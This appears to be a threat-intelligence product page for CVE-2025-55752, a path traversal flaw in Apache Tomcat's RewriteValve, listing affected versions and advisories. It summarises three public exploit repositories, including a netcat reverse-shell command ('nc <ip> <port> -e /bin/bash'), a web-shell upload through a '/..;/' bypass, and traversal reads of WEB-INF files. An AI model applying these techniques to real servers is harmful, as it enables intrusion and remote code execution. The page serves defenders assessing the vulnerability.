CVE-2025-55752 is a relative path traversal vulnerability in Apache Tomcat caused by a regression in the fix for bug 60013. Rewritten URLs are normalized before decoding, allowing encoded traversal sequences introduced through rewrite rules that map query parameters into the URL path to evade security checks. An attacker may manipulate a request URI to bypass protections for restricted paths, including /WEB-INF/ and /META-INF/. Affected releases are Tomcat 11.0.0-M1 through 11.0.10, 10.1.0-M1 through 10.1.44, and 9.0.0.M11 through 9.0.108; EOL 8.5.6 through 8.5.100 is also known to be affected, and older EOL versions may be affected.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
3 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).
Repository is a self-contained PoC environment (Dockerized Tomcat + sample JSP app) and an exploit script for CVE-2025-55752-style Tomcat RewriteValve path traversal leading to arbitrary file write and RCE. Structure/purpose: - app/ (vulnerable demo container) - Dockerfile: builds Tomcat 11.0.10 image, installs netcat, deploys ROOT webapp, enables RewriteValve via server.xml, compiles a benign Filter (meow.ChumyFilter) into WEB-INF/classes. - src/ROOT/index.jsp: simple blog UI that issues PUT requests to /page?p=<id> with HTML body; lists stored blog_*.html files from /bcfa797d7c61df63. - src/ROOT/WEB-INF/rewrite.config: RewriteValve rules. Key rule takes query parameter p and rewrites /page to /bcfa797d7c61df63/blog_%1.html. The regex allows arbitrary characters in p (not excluding '/' or '..'), enabling traversal when URL-encoded. - src/ROOT/WEB-INF/web.xml + classes/meow/ChumyFilter.java: registers a Filter on /*. In the demo it only sets a response header ("Power-By: Chumy"). - src/server.xml: Tomcat config with RewriteValve enabled for the ROOT context. - docker-compose.yml: exposes 8080 and mounts ./flag into container at /f14g1337 (read-only). - exploit.sh: weaponizes the arbitrary file write by compiling a malicious replacement meow.ChumyFilter.class whose init() executes a netcat reverse shell (nc <ip> <port> -e /bin/bash). It then uploads the class via HTTP PUT to /page with p set to an encoded traversal path targeting WEB-INF/classes/meow/ChumyFilter.class (with a trailing ';' likely for bypass). Finally it starts a local nc listener to catch the shell. Exploit capabilities: - Remote arbitrary file write via crafted PUT to /page with traversal in query parameter p. - Remote code execution by overwriting a loaded servlet Filter class file and triggering class initialization, yielding a reverse shell. Notable indicators: - Network endpoint: /page (PUT) is the primary attack surface. - File target: WEB-INF/classes/meow/ChumyFilter.class overwrite. - Reverse shell: outbound TCP to attacker IP:port using netcat and /bin/bash. - Fingerprint header: "Power-By: Chumy" set by the filter in normal operation.
This repository provides a proof-of-concept exploit for CVE-2025-55752, a directory traversal and potential remote code execution vulnerability in Apache Tomcat. The main file, CVE-2025-55752.py, is a Python script that can (1) check if a Tomcat server is vulnerable to path traversal into protected directories (like /WEB-INF/) and (2) attempt to upload a JSP payload via HTTP PUT, then verify if the upload is accessible using a normalization bypass (e.g., /..;/WEB-INF/shell.jsp). The script supports custom payloads and filenames. The README.md gives a detailed explanation of the vulnerability, affected versions, usage instructions, and mitigation recommendations. The requirements.txt lists necessary Python dependencies. The exploit targets Tomcat servers with specific vulnerable versions and configurations, and if successful, can lead to remote code execution by uploading and accessing a web shell in a protected directory.
This repository provides a comprehensive Docker-based environment to reproduce and exploit CVE-2025-55752, a path traversal vulnerability in Apache Tomcat's RewriteValve. The structure includes configuration files for Tomcat, a vulnerable web application, and both Python and Bash scripts for automated exploitation and testing. The main exploit script (docker/scripts/exploit.py) is a Python tool that tests a variety of path traversal payloads against a target Tomcat instance, attempting to read protected files such as /WEB-INF/web.xml and /META-INF/MANIFEST.MF. It also checks if the HTTP PUT method is enabled, which could allow remote code execution by uploading a malicious JSP webshell. The Bash script (docker/scripts/test_vulnerability.sh) automates similar tests using curl. The Tomcat configuration (docker/tomcat/conf/rewrite.config) sets up RewriteValve rules that are essential for triggering the vulnerability. The web application includes protected files and JSP handlers for demonstration and analysis. The exploit is operational: it provides working payloads and can confirm the vulnerability by reading protected files. If the PUT method is enabled, it can escalate to remote code execution. The repository is well-documented, with a README explaining the vulnerability, affected versions, exploitation steps, and mitigation advice. No fake or destructive code is present; the repository is a legitimate and practical exploit environment for CVE-2025-55752.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
39 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A specific critical vulnerability addressed by the referenced TuxCare/Rocky Linux 9.6 security advisory. It has a CVSS v3 vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; the supplied content does not provide a technical flaw description.
A vulnerability referenced by an Alma Linux 9.6 local security-check plugin. The plugin provides a CVSS v4 threat vector and states that exploits are available.
A network-reachable vulnerability requiring low-privileged access; the provided CVSS vectors indicate high impact to confidentiality, integrity, and availability. The content does not identify the affected component beyond its applicability to AlmaLinux 9.2 systems.
An Important-severity vulnerability tracked as CVE-2025-55752, addressed by a TuxCare/AlmaLinux security update.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.